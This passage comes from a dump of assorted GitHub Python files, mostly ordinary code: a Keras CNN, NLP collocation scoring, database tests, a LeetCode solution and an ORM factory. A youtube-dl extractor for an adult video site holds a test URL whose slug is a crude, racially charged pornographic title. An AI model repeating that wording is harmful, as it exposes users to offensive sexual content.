\n fname, fext = os.path.splitext(args.file)\n new_fname = fname + \"-filtered\" + fext\n\n write_notebook(new_fname,result)\n\n\nif __name__ == \"__main__\":\n main()\n\n\"\"\"\n","repo_name":"JohnGriffiths/UofT_Coders_Talk_March2018","sub_path":"misc/tag_filter.py","file_name":"tag_filter.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74712269159","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Aug 23 20:38:20 2019\r\n\r\n@author: USER\r\n\"\"\"\r\n\r\n# Build a CNN for image classification\r\n\r\n\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Convolution2D\r\nfrom keras.layers import MaxPooling2D\r\nfrom keras.layers import Flatten\r\nfrom keras.layers import Dense\r\n\r\n\r\n#CNN model\r\n\r\nmodel = Sequential()\r\n\r\nmodel.add(Convolution2D(24, (3,3) , activation = 'relu', input_shape = (64,64,3)))\r\n\r\nmodel.add(MaxPooling2D(pool_size = (2,2)))\r\nmodel.add(Flatten())\r\n\r\n# Add full connection\r\n\r\nmodel.add(Dense(units = 128, activation = 'relu', kernel_initializer = 'uniform'))\r\n\r\nmodel.add(Dense(units = 12, activation = 'softmax'))\r\n\r\nmodel.compile(optimizer = 'adam', loss = 'categorical_crossentropy', metrics = ['accuracy'])\r\n\r\n# fitting the CNN to data\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\n\r\ntrain_datagen = ImageDataGenerator(\r\n rescale=1./255,\r\n shear_range=0.2,\r\n zoom_range=0.2,\r\n horizontal_flip=True)\r\n\r\ntest_datagen = ImageDataGenerator(rescale=1./255)\r\n\r\ntraining_set = train_datagen.flow_from_directory(\r\n 'train_data',\r\n target_size=(64, 64),\r\n batch_size=32,\r\n class_mode='categorical')\r\n\r\ntesting_set = test_datagen.flow_from_directory(\r\n 'test_data',\r\n target_size=(64, 64),\r\n batch_size=32,\r\n class_mode='categorical')\r\n\r\nmodel.fit_generator(\r\n training_set,\r\n steps_per_epoch=4714,\r\n epochs=3,\r\n validation_data=testing_set,\r\n validation_steps=825)\r\n\r\nmodel.save('weed_identification_model_softMax')\r\n\r\n\r\n\r\n","repo_name":"Harshad1994/weed_identification","sub_path":"cnn_for_plant_classification.py","file_name":"cnn_for_plant_classification.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72345200679","text":"mylines = [] # Declare an empty list named mylines.\nwith open ('data6.txt', 'rt') as myfile:\n str=\"\"\n for myline in myfile: # For each line, stored as myline,\n if myline != \"\\n\": \n str+=myline.replace(\"\\n\",\"\")\n else:\n mylines.append(str.replace(\"\\n\",\"\")) \n str=\"\" # add its contents to mylines.\n mylines.append(str)\n\ndifferent = []\nfor answer in mylines:\n different.append(set([c for c in answer]))\nprint(sum(map(lambda x: len(x), different)))\n\n","repo_name":"davidgraca/adventofcode","sub_path":"day6.py","file_name":"day6.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12717010239","text":"import argparse\nimport torch\nimport torch.nn as nn \nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\nfrom torchvision.utils import make_grid\n\nfrom datasets import DistortedMNIST, MNISTAddition, CoLocalisationMNIST\nfrom base_model import BaseCnnModel, BaseFcnModel, BaseStn\n\n\nfrom base_model import BaseStn\nfrom train import build_train_val_test_dataset, build_argparse, check_argparse\n\n\n\ndef main():\n device = torch.device('cuda:0' if torch.cuda.is_available() else \"cpu\")\n\n # args\n parser = build_argparse()\n args = parser.parse_args()\n check_argparse(args)\n\n # data \n train_dataloader, val_dataloader, _ = build_train_val_test_dataset(args)\n\n # model\n if args.task_type == 'DistortedMNIST':\n if args.model_name == 'ST-CNN': \n model = BaseStn(model_name=args.model_name, trans_type=args.trans_type, input_ch=args.input_ch , input_length=args.input_length)\n \n # pass to CUDA device\n model = model.to(device)\n criterion = nn.MSELoss()\n optimizer = optim.SGD(model.parameters(), lr=0.01)\n \n \n elif args.model_name == 'ST-FCN':\n model = BaseStn(model_name=args.model_name, trans_type=args.trans_type, input_ch=args.input_ch , input_length=args.input_length)\n \n # pass to CUDA device\n model = model.to(device)\n criterion = nn.MSELoss()\n optimizer = optim.SGD(model.parameters(), lr=0.01)\n\n elif args.task_type == 'MNISTAddition':\n #TODO\n pass\n\n else:\n #TODO\n pass\n \n # training\n writer = SummaryWriter(f'runs/trial_stn_{args.exp}')\n \n\n for epoch in range(args.epoch):\n train_running_loss = 0.0\n print(f'\\n---The {epoch+1}-th epoch---\\n')\n print('[Epoch, Batch] : Loss')\n\n # TRAINING LOOP\n print('---Training Loop begins---')\n for i, data in enumerate(train_dataloader, start=0): \n # move CUDA device\n input = data[0].to(device)\n target_theta = torch.tensor([[1,0,0],[0,1,0]], requires_grad=False, dtype=torch.float)\n target_theta = target_theta.unsqueeze(0)\n target_theta = target_theta.expand(len(input), 2, 3).to(device)\n \n optimizer.zero_grad()\n output = model.gen_theta(input)\n loss = criterion(output, target_theta)\n output_average = torch.mean(output, dim=0)\n\n if loss <=0.02:\n print(f'iteration: {i}')\n print(\n f'theta average: {output_average}'\n )\n break\n else:\n pass\n\n loss.backward()\n optimizer.step()\n \n\n train_running_loss += loss.item()\n \n writer.add_scalar('Averaged loss', loss.item(), 196*epoch + i)\n \n if i % 20 == 19:\n print(\n f\"[{epoch+1}, {i+1}]: %.3f\" % (train_running_loss/20)\n )\n print(\n f'theta average: {output_average}'\n )\n train_running_loss = 0.0\n elif i == 195:\n print(\n f\"[{epoch+1}, {i+1}]: %.3f\" % (train_running_loss/16)\n )\n print(\n f'theta average: {output_average}'\n )\n print('---Training Loop ends---')\n \n # catch the transformed image though ST, after one epoch\n with torch.no_grad():\n # number of images to show\n n = 6\n origi_img = input[:n,...].clone().detach() #(4, C, H, W)\n trans_img = model(origi_img) #(4, C, H, W)\n img = torch.cat((origi_img,trans_img), dim=0) #(4+4, C, H, W)\n img = make_grid(img, nrow=n)\n writer.add_image(f\"Original-Up, ST-Down images in epoch_{epoch+1}\", img)\n \n # VALIDATION LOOP\n with torch.no_grad():\n val_run_loss = 0.0\n print('---Validaion Loop begins---')\n batch_count = 0\n \n for i, data in enumerate(val_dataloader, start=0):\n input = data[0].to(device)\n target_theta = torch.tensor([[1,0,0],[0,1,0]], requires_grad=False, dtype=torch.float)\n target_theta = target_theta.unsqueeze(0)\n target_theta = target_theta.expand(len(input), 2, 3).to(device)\n\n output = model.gen_theta(input)\n loss = criterion(output, target_theta)\n\n val_run_loss += loss.item()\n batch_count += 1\n \n val_run_loss = val_run_loss/batch_count\n \n writer.add_scalar('Validation loss', val_run_loss, epoch)\n\n print(f\"Loss of {epoch+1} epoch is %.3f\" % (val_run_loss))\n \n print('---Validaion Loop ends---')\n writer.close()\n savepath = f'/home/jarvis1121/AI/Rico_Repo/Spatial-Transformer-Network/model_save/stn_{str(args.exp)}_{str(args.task_type)}_{str(args.trans_type)}_{str(args.model_name)}.pth'\n torch.save(model.state_dict(), savepath)\n\nif __name__ == '__main__':\n main()\n # import numpy as np\n # model = BaseStn(model_name='ST-CNN', trans_type='RTS', input_ch=1 , input_length=42)\n # model.load_state_dict(torch.load('/home/jarvis1121/AI/Rico_Repo/Spatial-Transformer-Network/model_save/stn_7_DistortedMNIST_RTS_ST-CNN.pth'))\n \n # for name, param in model.named_parameters():\n # if param.requires_grad:\n # print (name, torch.min(torch.abs(param.data)))","repo_name":"RicoSuaveGuapo/Spatial-Transformer-Network","sub_path":"train_stn.py","file_name":"train_stn.py","file_ext":"py","file_size_in_byte":5792,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"37887999369","text":"import numpy as np\nfrom Models.dataset import Dataset\nfrom Models.dataset_resumed import DatasetResumed\n\ndef convertDatasetGPSResumed( datasetResumedList):\n data = []\n for entry in datasetResumedList:\n data.append( np.array([entry.lat,entry.lon]))\n return np.asarray(data).astype(np.float)\n\ndef convertDatasetResumed( datasetResumedList):\n data = []\n target = [] \n for entry in datasetResumedList:\n data.append( [float(entry.sogAVG),float(entry.sogMax),float(entry.sogMin), entry.loc])\n target.append(entry.license)\n return Dataset(np.asarray(data),np.asarray(target), DatasetResumed.GetFeatureNames(), \"DatasetResumed\" )","repo_name":"SergeLage/Joined-Fishery-Analysis","sub_path":"JFA/AS/converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30677979014","text":"#-------------------------------------------------------------------------------\r\n# Name: module1\r\n# Purpose:\r\n#\r\n# Author: Sardhendu_Mishra\r\n#\r\n# Created: 18/02/2015\r\n# Copyright: (c) Sardhendu_Mishra 2015\r\n# Licence: <your licence>\r\n#-------------------------------------------------------------------------------\r\n\r\nimport numpy as np\r\nimport cv2\r\nimport math\r\nimport edge_detection\r\n\r\n\r\n# Let us first plot a canvas of 5*5\r\ncanvas=np.zeros((30,50), dtype=\"uint8\")\r\ncv2.imshow(\"canvas\", canvas)\r\ncv2.waitKey(0)\r\n\r\nwhite=(255,255,255)\r\n(centerX, centerY)=(15,15) # This is read as width * height\r\nradius=10\r\ncircled_canvas=cv2.circle(canvas, (centerX, centerY), radius, white, -1)\r\ncv2.imshow(\"Circled canvas\", canvas)\r\ncv2.waitKey(0)\r\n\r\ncv2.imwrite(\"C:\\\\Users\\\\sardhendu_mishra\\\\Desktop\\\\StudyHard\\\\Machine_learning\\\\photus\\\\image.jpg\", canvas)\r\n\r\ncv2.destroyAllWindows()\r\n\r\n\r\n# We load the image and perform research\r\nimage=cv2.imread(\"C:\\\\Users\\\\sardhendu_mishra\\\\Desktop\\\\StudyHard\\\\Machine_learning\\\\photus\\\\image.jpg\")\r\ncv2.imshow(\"Original\", image)\r\ncv2.waitKey(0)\r\n\r\nedge_detection.main_call(image)","repo_name":"Sardhendu/Image-Processing-Tools","sub_path":"Edge-Contour-Detection/contour.py","file_name":"contour.py","file_ext":"py","file_size_in_byte":1134,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"18903507211","text":"from __future__ import unicode_literals\n\nfrom ..utils import (\n int_or_none,\n str_to_int,\n)\nfrom .keezmovies import KeezMoviesIE\n\n\nclass Tube8IE(KeezMoviesIE):\n _VALID_URL = r'https?://(?:www\\.)?tube8\\.com/(?:[^/]+/)+(?P<display_id>[^/]+)/(?P<id>\\d+)'\n _TESTS = [{\n 'url': 'http://www.tube8.com/teen/kasia-music-video/229795/',\n 'md5': '65e20c48e6abff62ed0c3965fff13a39',\n 'info_dict': {\n 'id': '229795',\n 'display_id': 'kasia-music-video',\n 'ext': 'mp4',\n 'description': 'hot teen Kasia grinding',\n 'uploader': 'unknown',\n 'title': 'Kasia music video',\n 'age_limit': 18,\n 'duration': 230,\n }\n }, {\n 'url': 'http://www.tube8.com/shemale/teen/blonde-cd-gets-kidnapped-by-two-blacks-and-punished-for-being-a-slutty-girl/19569151/',\n 'only_matching': True,\n }]\n\n def _real_extract(self, url):\n webpage, info = self._extract_info(url)\n\n if not info['title']:\n info['title'] = self._html_search_regex(\n r'videoTitle\\s*=\\s*\"([^\"]+)', webpage, 'title')\n\n description = self._html_search_regex(\n r'>Description:</strong>\\s*(.+?)\\s*<', webpage, 'description', fatal=False)\n uploader = self._html_search_regex(\n r'<span class=\"username\">\\s*(.+?)\\s*<',\n webpage, 'uploader', fatal=False)\n\n like_count = int_or_none(self._search_regex(\n r'rupVar\\s*=\\s*\"(\\d+)\"', webpage, 'like count', fatal=False))\n dislike_count = int_or_none(self._search_regex(\n r'rdownVar\\s*=\\s*\"(\\d+)\"', webpage, 'dislike count', fatal=False))\n view_count = str_to_int(self._search_regex(\n r'<strong>Views: </strong>([\\d,\\.]+)\\s*</li>',\n webpage, 'view count', fatal=False))\n comment_count = str_to_int(self._search_regex(\n r'<span id=\"allCommentsCount\">(\\d+)</span>',\n webpage, 'comment count', fatal=False))\n\n info.update({\n 'description': description,\n 'uploader': uploader,\n 'view_count': view_count,\n 'like_count': like_count,\n 'dislike_count': dislike_count,\n 'comment_count': comment_count,\n })\n\n return info\n","repo_name":"shelbyt/tmarker","sub_path":"youtube_dl/extractor/tube8.py","file_name":"tube8.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28962224291","text":"import os\nimport re\nimport math\n\nDIRECTORY = '../ustawy'\n\n\ndef main():\n corpora = load_corpora()\n bigrams = count_bigrams(corpora)\n probability_calculator = ProbabilityCalculator(bigrams)\n pmi_results = pointwise_mutual_information(bigrams, probability_calculator)\n display_top_thirty(\"Top 30 results for Pointwise Mutual Information:\", pmi_results)\n llr_results = log_likelihood_ratio(bigrams, probability_calculator)\n print()\n display_top_thirty(\"Top 30 results for Log-Likelihood Ratio:\", llr_results)\n\n\ndef load_corpora():\n \"\"\" The text has to be properly normalized before the counts are computed: it should be downcased\n and all punctuation should be removed. \"\"\"\n corpora = []\n for file in generate_paths():\n bill = file_content(file)\n bill = re.sub(r'\\W+', ' ', bill)\n bill = bill.lower()\n corpora.append(bill)\n return corpora\n\n\ndef count_bigrams(corpora):\n \"\"\" Compute bigram counts in the corpora, ignoring bigrams which contain at least one token that is not a word\n (it contains characters other than letters). \"\"\"\n bigrams = dict()\n for bill in corpora:\n words = bill.split()\n for (first, second) in zip(words[0:len(words)-1], words[1:len(words)]):\n if not re.search(r'[0-9_]', first+second):\n if (first, second) not in bigrams:\n bigrams[(first, second)] = 1\n else:\n bigrams[(first, second)] += 1\n return bigrams\n\n\ndef pointwise_mutual_information(bigrams, probability_calculator):\n \"\"\" Use pointwise mutual information to compute the measure for all pairs of words. \"\"\"\n bigrams_with_pmi = []\n for (x, y) in bigrams.keys():\n no_log = probability_calculator.both(x, y) / (probability_calculator.left(x) * probability_calculator.right(y))\n bigrams_with_pmi.append(((x, y), math.log2(no_log)))\n return sorted(bigrams_with_pmi, key=(lambda e: e[1]), reverse=True)\n\n\ndef log_likelihood_ratio(bigrams, probability_calculator):\n \"\"\" Use log likelihood ratio (LLR) to compute the measure for all pairs of words. \"\"\"\n bigrams_with_llr = []\n for (x, y) in bigrams.keys():\n value = llr_2x2(probability_calculator.both(x, y),\n probability_calculator.right_no_left(x, y),\n probability_calculator.left_no_right(x, y),\n probability_calculator.no_left_no_right(x, y))\n bigrams_with_llr.append(((x, y), value))\n return sorted(bigrams_with_llr, key=(lambda e: e[1]), reverse=True)\n\n\ndef display_top_thirty(description, data):\n print(description)\n top_30 = \", \".join([left+\" \"+right for ((left, right), _) in data[:30]])\n print(top_30)\n\n\nclass ProbabilityCalculator:\n def __init__(self, bigrams):\n self.bigrams = bigrams\n all_words = set()\n all_words.update([left for (left, _) in self.bigrams.keys()])\n all_words.update([right for (_, right) in self.bigrams.keys()])\n self.occurrences = {word: (0, 0) for word in all_words}\n self.denominator = 0\n for ((left, right), count) in self.bigrams.items():\n self.occurrences[left] = (self.occurrences[left][0] + count, self.occurrences[left][1])\n self.occurrences[right] = (self.occurrences[right][0], self.occurrences[right][1] + count)\n self.denominator += count\n\n def left(self, word):\n nominator = self.occurrences[word][0]\n return nominator/self.denominator\n\n def right(self, word):\n nominator = self.occurrences[word][1]\n return nominator/self.denominator\n\n def left_no_right(self, word_left, word_right):\n nominator = self.occurrences[word_left][0] - self.bigrams[(word_left, word_right)]\n return nominator/self.denominator\n\n def right_no_left(self, word_left, word_right):\n nominator = self.occurrences[word_right][1] - self.bigrams[(word_left, word_right)]\n return nominator/self.denominator\n\n def no_left_no_right(self, word_left, word_right):\n nominator = self.denominator - self.occurrences[word_left][0] - self.occurrences[word_right][1]\n if (word_left, word_right) in self.bigrams.keys():\n nominator += self.bigrams[(word_left, word_right)]\n return nominator / self.denominator\n\n def any(self, word):\n # not used but kept here for making possible not distinguishing between \"left\" and \"right\" word.\n nominator = self.occurrences[word][0] + self.occurrences[word][1]\n if (word, word) in self.bigrams.keys():\n nominator -= self.bigrams[(word, word)]\n return nominator/self.denominator\n\n def both(self, word_left, word_right):\n nominator = self.bigrams[(word_left, word_right)]\n return nominator/self.denominator\n\n\ndef generate_paths():\n (_, _, filenames) = next(os.walk(DIRECTORY))\n return map(lambda name: os.path.join(DIRECTORY, name), filenames)\n\n\ndef file_content(path):\n with open(path, 'r') as inp:\n return ''.join(inp.readlines())\n\n\n# The two functions below come from python-llr library by Ted Dunning (https://github.com/tdunning/python-llr)\ndef llr_2x2(k11, k12, k21, k22):\n \"\"\" Special case of llr with a 2x2 table \"\"\"\n return 2 * (denormEntropy([k11+k12, k21+k22]) +\n denormEntropy([k11+k21, k12+k22]) -\n denormEntropy([k11, k12, k21, k22]))\n\n\ndef denormEntropy(counts):\n \"\"\" Computes the entropy of a list of counts scaled by the sum of the counts.\n If the inputs sum to one, this is just the normal definition of entropy \"\"\"\n counts = list(counts)\n total = float(sum(counts))\n # Note tricky way to avoid 0*log(0)\n return -sum([k * math.log(k/total + (k == 0)) for k in counts])\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Peantab/NLP-Tasks","sub_path":"task4/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9902218619","text":"#зад 21\nx=int(input())\ny=int(input())\nimport math\nc=math.sqrt(x**2+y**2)\nprint(c, 'гипотенуза')\ns=1/2*x*y\nprint(s, 'площадь')\np=x+y+c\nprint(p, 'периметр')\n\n","repo_name":"Leeeeena/python","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":184,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20489098123","text":"import os\nimport unittest\nfrom lib import db\nfrom uuid import uuid4\nfrom PySide2.QtSql import QSqlQuery\nfrom PySide2.QtCore import QDateTime\n\nclass TestPeopleDatabase(unittest.TestCase):\n\tdef setUp(self) -> None:\n\t\tif os.path.exists(db.FILENAME):\n\t\t\tos.remove(db.FILENAME)\n\t\tdb.init(\"\")\n\n\t\tperson = db.Person()\n\t\tdata = [\n\t\t\tdict(\n\t\t\t\tuid=uuid4().__str__(),\n\t\t\t\tusername=uuid4().__str__()[:5],\n\t\t\t\tlast_interaction=QDateTime.currentDateTime()\n\t\t\t) for _ in range(10)\n\t\t]\n\n\t\tfor one in data:\n\t\t\tperson.new(**one)\n\n\tdef test_insert(self):\n\t\tself.assertTrue(db.Person().new(\n\t\t\tuid=\"test\",\n\t\t\tusername=\"rubbie kelvin - test name\"\n\t\t))\n\n\tdef test_multiple_query(self):\n\t\tquery = QSqlQuery()\n\t\tres = query.exec_(\"\"\"\n\t\tINSERT INTO people (uid, username) values ('new uid', 'kelvin')\n\t\t\"\"\")\n\n\t\tquery = QSqlQuery()\n\t\tres = res and query.exec_(\"\"\"\n\t\tINSERT INTO people (uid, username) values ('new-uid', 'kelvin')\n\t\t\"\"\")\n\n\t\tif not res:\n\t\t\tprint(query.lastError())\n\n\t\tself.assertTrue(res)\n\n\tdef test_person_update(self):\n\t\tperson = db.Person()\n\t\t\n\t\tres = person.new(uid=\"new\", username=\"james\")\n\t\tself.assertTrue(res)\n\n\t\tres = person.update(\"new\", username=\"kandy man\")\n\t\tself.assertTrue(res)\n\n\tdef test_getAll(self):\n\t\tperson = db.Person()\n\t\tdata = person.getAll()\n\t\tprint(data)\n\t\tself.assertTrue(type(data) is list)\n\nclass TestMessageDatabase(unittest.TestCase):\n\tdef setUp(self):\n\t\tif os.path.exists(db.FILENAME):\n\t\t\tos.remove(db.FILENAME)\n\t\tdb.init(\"\")\n\n\t\tperson = db.Person()\n\t\tdata = [\n\t\t\tdict(\n\t\t\t\tuid=uuid4().__str__(),\n\t\t\t\tusername=f\"person_{_}\",\n\t\t\t\tlast_interaction=QDateTime.currentDateTime()\n\t\t\t) for _ in range(2)\n\t\t]\n\n\t\tfor one in data:\n\t\t\tperson.new(**one)\n\n\tdef test_create_message(self):\n\t\tmessage = db.Message()\n\t\tmessage.new(body=\"hello\", time_uploaded=QDateTime.currentDateTime(), message_uid=uuid4().__str__(), sender=1)\n","repo_name":"rubbieKelvin/courier","sub_path":"tests/database_test.py","file_name":"database_test.py","file_ext":"py","file_size_in_byte":1833,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"18"} +{"seq_id":"41925595213","text":"'''\nhttps://leetcode.com/problems/balance-a-binary-search-tree/\nGiven a binary search tree, return a balanced binary search tree with the same node values.\nA binary search tree is balanced if and only if the depth of the two subtrees of every node never differ by more than 1.\nIf there is more than one answer, return any of them.\n\nExample 1:\nInput: root = [1,null,2,null,3,null,4,null,null]\nOutput: [2,1,3,null,null,null,4]\nExplanation: This is not the only correct answer, [3,1,4,null,2,null,null] is also correct.\n'''\n'''\nTime:O(n)\nSpace:O(n)\n'''\nclass Solution:\n def balanceBST(self, root: TreeNode) -> TreeNode:\n nums = []\n def traverse(root):\n if not root:\n return\n traverse(root.left)\n nums.append(root.val)\n traverse(root.right)\n \n def construct(nums):\n if not nums:\n return\n idx = len(nums)//2\n node = TreeNode(nums[idx])\n node.left = construct(nums[:idx])\n node.right = construct(nums[idx+1:])\n return node\n \n traverse(root)\n return construct(nums)\n","repo_name":"MJJ919/My-Leetcode-Records","sub_path":"1382. Balance a Binary Search Tree.py","file_name":"1382. Balance a Binary Search Tree.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"75169338281","text":"\"\"\" pycyqle is a Python package that enables model instances\nto be created from a relational database and a so-called 'order'\nthat defines what the resulting models should be composed of.\n\"\"\"\n\nfrom functools import reduce\nfrom operator import iconcat\nfrom copy import deepcopy\nimport importlib\nimport inspect\nimport json\nfrom . import utils\n\n__author__ = \"Bruno Lange\"\n__license__ = \"MIT\"\n__version__ = \"0.0.1\"\n__maintainer__ = \"Bruno Lange\"\n__email__ = \"blangeram@gmail.com\"\n__status__ = \"Development\"\n\n\ndef _fluent(obj, attr, *args):\n if args:\n setattr(obj, attr, args[0])\n return obj\n return getattr(obj, attr)\n\n\nclass Factory:\n \"\"\"Factory instances can build models given a data source and\n an order which defines what the final models should be composed of.\n \"\"\"\n\n # Factories cache\n FACTORIES = {}\n\n def __init__(self):\n self._model = None\n self._model_map = {}\n # key-value mapper for factory components\n self._component_map = {}\n # key-value mapper for factory inventory\n self._inventory_map = {}\n # reference to parent, i.e, the calling parent\n # in the order hierarchy\n self._parent = None\n self._order = None\n self._alias = None\n self._processors = []\n self._filters = []\n\n def name(self, *args):\n \"\"\" Fluent setter/getter for factory name.\"\"\"\n return _fluent(self, '_name', *args)\n\n def table(self, *args):\n \"\"\" Fluent setter/getter for factory table.\"\"\"\n return _fluent(self, '_table', *args)\n\n def alias(self, *args):\n \"\"\" Fluent setter/getter for factory table alias.\"\"\"\n return _fluent(self, '_alias', *args)\n\n def prefix(self):\n \"\"\" Returns factory table prefix.\"\"\"\n return self.alias() if self.alias() else self.table()\n\n def primary_key(self, *args):\n \"\"\" Fluent setter/getter for factory table primary key.\"\"\"\n return _fluent(self, '_primary_key', *args)\n\n def model(self, *args):\n \"\"\" Fluent setter/getter for factory model.\"\"\"\n return _fluent(self, '_model', *args)\n\n def components(self, *args):\n \"\"\" Fluent setter/getter for factory components.\n If no argument is passed, the list of factory components is returned.\n Otherwise, the method takes a list of components as its first argument\n and registers them in the factory component mapper.\"\"\"\n if not args:\n return self._component_map.values()\n\n for component in args[0]:\n self._component_map[component.name()] = component\n\n return self\n\n def component(self, name):\n \"\"\" Returns component associated with given name.\"\"\"\n return self._component_map[name]\n\n def has_component(self, name):\n \"\"\" Returns True if factory has component in its inventory.\"\"\"\n return name in self._component_map\n\n def inventory_items(self, *args):\n \"\"\" Fluent setter/getter for factory inventory items.\"\"\"\n if not args:\n return self._inventory_map\n\n self._inventory_map = {inv.name(): inv for inv in args[0]}\n\n return self\n\n def has_inventory_item(self, name):\n \"\"\" Return True if inventory associated with name exists within\n the factory.\"\"\"\n return name in self._inventory_map\n\n def inventory(self, name):\n \"\"\" Returns the inventory item associated with given name.\"\"\"\n return self._inventory_map[name]\n\n def parent(self, *args):\n \"\"\" Fluent setter/getter for factory parent.\"\"\"\n if not args:\n return self._parent\n\n self._parent = {\n 'factory': args[0],\n 'inventory': args[1]\n }\n return self\n\n def order(self, *args):\n \"\"\" Fluent setter/getter for factory order.\"\"\"\n if not args:\n return self._order\n\n self._order = Factory.standardize_order(args[0])\n for component_name in self._order['__components__']:\n if not self.has_component(component_name):\n raise ValueError(\n 'invalid component [{}]'.format(component_name)\n )\n return self\n\n def process(self, *args):\n \"\"\" If no arguments are passed, returns all processors registered.\n The last argument must be a callable value that takes a model as\n its only argument. Any arguments before the callback set the path\n to the factory which the processor should be attached to.\n \"\"\"\n if not args:\n return self._processors\n\n closure = args[-1]\n factory = self._navigate_to_factory(args[:-1])\n factory._process(closure)\n return self\n\n def _navigate_to_factory(self, path):\n return reduce(\n lambda fac, name: fac.inventory(name).factory(),\n path,\n self\n )\n\n def _process(self, closure):\n if not callable(closure):\n raise ValueError('processor must be callable')\n\n self._processors.append(utils.Processor(closure))\n\n def validate(self):\n \"\"\" Returns a list with validation errors.\n An empty list can be interpreted as a 'passing' factory.\"\"\"\n errors = []\n if not self.name():\n errors.append('missing name')\n if not self.model():\n errors.append('missing model')\n\n return reduce(\n iconcat,\n [i.validate() for i in self._inventory_map.values()],\n errors\n )\n\n def model_key(self):\n \"\"\" Returns the key associated with the registerd model.\n The key is used in the factory's model map.\"\"\"\n model = self.model()\n # pylint: disable=no-member\n return model.__name__ if inspect.isclass(model) else model\n\n def build(self, mgr, order, ids):\n \"\"\" Returns a list of assembled models given a data source\n and a list of IDs.\"\"\"\n self.order(order)\n self._model_map = {}\n self._build(mgr, self.order(), Factory.binds(ids), self._model_map)\n model_key = self.model_key()\n if not ids:\n models = self._model_map[model_key].values()\n else:\n if not isinstance(ids, list):\n ids = [ids]\n\n models = [\n self._model_map[model_key][_id] for _id in ids\n if _id in self._model_map[model_key]\n ]\n\n if ids is None or isinstance(ids, list):\n return models\n\n if len(models) != 1:\n raise Exception('single build failed')\n\n return models[0]\n\n def _build(self, mgr, order, binds, model_map):\n if not order:\n return\n\n if inspect.isclass(self.model()):\n model_constructor = self.model()\n else:\n module_name, class_name = self.model().rsplit('.', 1)\n model_constructor = getattr(\n importlib.import_module(module_name),\n class_name\n )\n\n if not self.model_key() in model_map:\n model_map[self.model_key()] = {}\n\n query = self.query(order['__components__'], binds, 0)\n mgr.execute(query, binds)\n data = mgr.data()\n\n if not data:\n return\n\n components = self._get_order_components(order['__components__'])\n payloads = {}\n _map = model_map[self.model_key()]\n for row in data:\n _id = row['__id__']\n if _id in _map:\n model = _map[_id]\n else:\n model = model_constructor(_id)\n _map[_id] = model\n\n for component in components:\n value = row[component.name()]\n carrier = getattr(model, component.carrier())\n carrier(value)\n\n for processor in self._processors:\n processor.attach(model)\n\n if self.parent():\n p_id = row['__pid__']\n if p_id not in payloads:\n payloads[p_id] = []\n\n payloads[p_id].append(model)\n\n del order['__components__']\n for key, components in order.items():\n if not self.has_inventory_item(key):\n raise Exception('inventory item not defined')\n\n inv = self.inventory(key)\n fac = deepcopy(inv.factory())\n fac.parent(self, inv)\n fac._build(mgr, components, binds, model_map)\n\n for processor in self._processors:\n processor.run()\n\n if self.parent():\n parent = self.parent()\n factory = parent['factory']\n inventory = parent['inventory']\n carrier = inventory.carrier()\n parent_map = model_map[factory.model_key()]\n for p_id, models in payloads.items():\n if p_id in parent_map:\n parent_model = parent_map[p_id]\n _carrier = getattr(parent_model, carrier)\n _carrier(models[0] if inventory.single() else models)\n\n def query(self, components, binds, depth=0):\n query = [\n 'SELECT {}'.format(self._compile_select(components)),\n 'FROM {}'.format(self._compile_table())\n ]\n if self.parent():\n query.append(self._compile_join())\n\n query.append('WHERE {}'.format(self._compile_where(binds, depth)))\n\n tabs = ' '*depth\n return '{}{}'.format(\n tabs,\n '\\n{}'.format(tabs).join(query)\n )\n\n def _compile_select(self, components):\n if components is not None:\n select = [self._column_query('\"__id__\"')]\n else:\n select = ['DISTINCT {}'.format(self._column_query())]\n\n if components and self.parent():\n select.append(self.parent()['factory']._column_query('\"__pid__\"'))\n\n if components:\n select += list(map(\n lambda c: c.format_column(self.prefix()),\n self._get_order_components(components)\n ))\n\n return \"\\n, \".join(select)\n\n def _compile_table(self):\n _from = self.table()\n if self.alias():\n _from += ' ' + self.alias()\n\n return _from\n\n def _compile_join(self):\n parent = self.parent()\n inventory = parent['inventory']\n join = inventory.join()\n\n return join.compile()\n\n def _compile_where(self, binds, depth=0):\n if not binds:\n return '1=1'\n\n if not self.parent():\n return '{prefix}.{pk} IN ({binds})'.format(\n prefix=self.prefix(),\n pk=self.primary_key() if self.primary_key() else 'ROWID',\n binds=','.join('%(id{})s'.format(i) for i in range(len(binds)))\n )\n\n parent_factory = self.parent()['factory']\n return '{table}.{pk} IN (\\n{query}\\n{depth})'.format(\n table=parent_factory.table(),\n pk=parent_factory.primary_key() or 'ROWID',\n query=parent_factory.query(None, binds, depth+1),\n depth=' '*depth\n )\n\n def _column_query(self, alias=None):\n if not self.primary_key():\n return 